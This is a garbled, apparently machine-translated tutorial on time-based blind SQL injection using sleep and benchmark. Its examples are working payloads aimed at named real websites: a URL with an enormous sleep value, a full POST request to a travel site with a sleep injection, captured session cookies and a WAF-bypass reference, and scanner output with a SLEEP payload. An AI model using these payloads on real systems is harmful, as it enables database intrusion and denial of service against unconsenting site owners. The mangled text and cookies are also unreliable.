Sleep delayed injection
A: time difference injection, also known as delay injection, is a blind injection method to submit function sql statements that remember the execution time, and judge whether the execution is successful by the length of execution time. For example, if it is correct, it will lead to a long time, and an error will lead to a short execution time. This is the so-called advanced blind injection.
Using BENCHMARK sleep function to inject
Using sleep can also cause a denial of service
B:
Sometimes when we pour into a certain station, a certain station suddenly won't open.
Temporarily isolated by the firewall, you can't browse his page, so you have to change your IP or wait for recovery.
Or when submitting injection parameters, some kind of protection of the website, he will jump to an error page and visit the error page N times before he will visit it normally.
This will affect our efficiency, which is why delayed injection is also a lesson, it is quite important.
C:
Tuniu main station delay injection + waf bypass
Http://www.2cto.com/Article/201502/377118.html
Eg.1
Http://wap.people.com.cn/newsView.php?sid=&cnid=1456639 and sleep (99999999999) & chid=1_14_3&coid=1_14_3_1&wv=2&v=l&return=c
Eg.2
POST / main.php?do=online_book_do_visitor HTTP/1.1
Host: km.tuniu.com
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3: 0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Accept: * / *
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://km.tuniu.com/main.php?do=online_book_visitor&order_id=4550094
Content-Length: 285
Cookie: p_phone_400=4007-999-999; PHPSESSID=8v1dgvcbbm0elnoprf91chnfv7; tuniu_channel=MTAwLDAsZDdiY2U0NTViYjViMDFhNWExYzk1YTM2ZjZiNDEyY2Q%3D; tuniuuser_citycode=MzMwMg%3D%3D; swatches true 1421595835812; swatches% 5B% 5BB% 5D% 5D; _ _ utma=1.151979505.1421595199.1421595199.1421595199.1; _ utmb=1.170.9.1421599758357; _ _ utmc=1; _ utmz=1.1421595199.1.1.utmcsr= (direct) | utmccn= (direct) | utmcmd= (none); _ tacau=MCxmMWJlYWNiMS03N2M1LTQ0ZjEtOThlMC0wYzc5ZWE2ZTRjMmQs; _ tact=Y2UyNzU5NmMtMDIxNS0yMjFjLTgzYjItMDgxODUyOTM0ODVm _ tacz2=taccsr%3D%28direct%29%7Ctacccn%3D%28none%29%7Ctaccmd%3D%28none%29%7Ctaccct%3D%28none%29%7Ctaccrt%3D%28none%29; _ taca=1421595199130.1421595199130.1421595199130.1; _ tacb=NGYzNDkyNWMtY2ZlNi05MmJjLTA4MDAtOTgxMmFlYjRlZTkx; _ tacc=1; tuniuuser_ip_citycode=MjAw; tuniuuser=NzczODQ4Niw2ODIzNjEzODU5LDY4MjM2MTM4NTkmcXVvdDsmYW1wO2d0O3M7JiMwMzk7LDAsMTQyMTU5NTQzMiw5ZjY0OTg2YzdkYzE0NzM0ZDEwZGFiZjM2NWYyMDBlOQ%3D%3D; tuniusub=1; tuniuuser_p_w_picpath=aHR0cDovL20udHVuaXVjZG4uY29tL2ZpbGVicm9rZXIvY2RuL3ByZC83NS8wYy83NTBjMmRhYmFhZjRmYjY4ZjI2NzVlM2NlZjA1YmM2ZC5wbmc%3D; tuniuuser_vip=MA%3D%3D; tuniuuser_level=MA%3D%3D; tuniuuser_id=7738486; tuniuuser_name=NjgyMzYxMzg1OSZxdW90OyZhbXA7Z3Q7czsmIzAzOTs%3D; Hm_lvt_dbdbb8d9c6cd72876c254897549e524b=1421503111,1421591375,1421594808,1421595437; Hm_lpvt_dbdbb8d9c6cd72876c254897549e524b=1421597431; tuniu_app_cc=list_three_days Tuniu_zeus=MzNfMV8yXzFfMV83OjpodHRwOi8vd3d3LnR1bml1LmNvbS9zdGF0aWMveW91amkvOjoyMDE1LTAxLTE4IDIzOjM5OjE0%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly90b3AudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0NTozMA%3D%3D%2CMTFfMl8xXzJfNV8xOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTggMjM6NDY6MDg%3D%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly93d3cudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0ODozNQ%3D%3D%2CMTJfMl8xXzFfMl8zOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTkgMDA6NDk6MTg%3D; visit_history=5186662%2C780023%2C; _ um_uuid=f7a45f3da941376f5abce7a65b613f27; _ _ ozlvd1940=1421602934; tuniu_is_login=MQ%3D%3D; tuniu_newer=set_one_day; Hm_lvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421253828,1421597324; Hm_lpvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421597366; appdown=1; TUNIUmuser=1c80b2cffeddb233b6a4fbfddb375c15; tuniu_partner=MTAxLDAsLDlmZDgyZThjYTZkNGMwMTlmZTUyNzdlYjJmNTcxYzQ1; pgv_pvi=3638345589; pgv_info=ssi=s4790786375; tel_400=4007996820; PageSwitch=2%2C1429375904; _ _ utmt=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Visitor_info=123,33071919680425367s1l'+and+sleep%252811%2529+and+'1,1,1968-04-25
Eg.3
Place: GET
Parameter: appid
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: appid=330051' AND SLEEP (5) AND 'xRsl'='xRsl&host=admin5.com
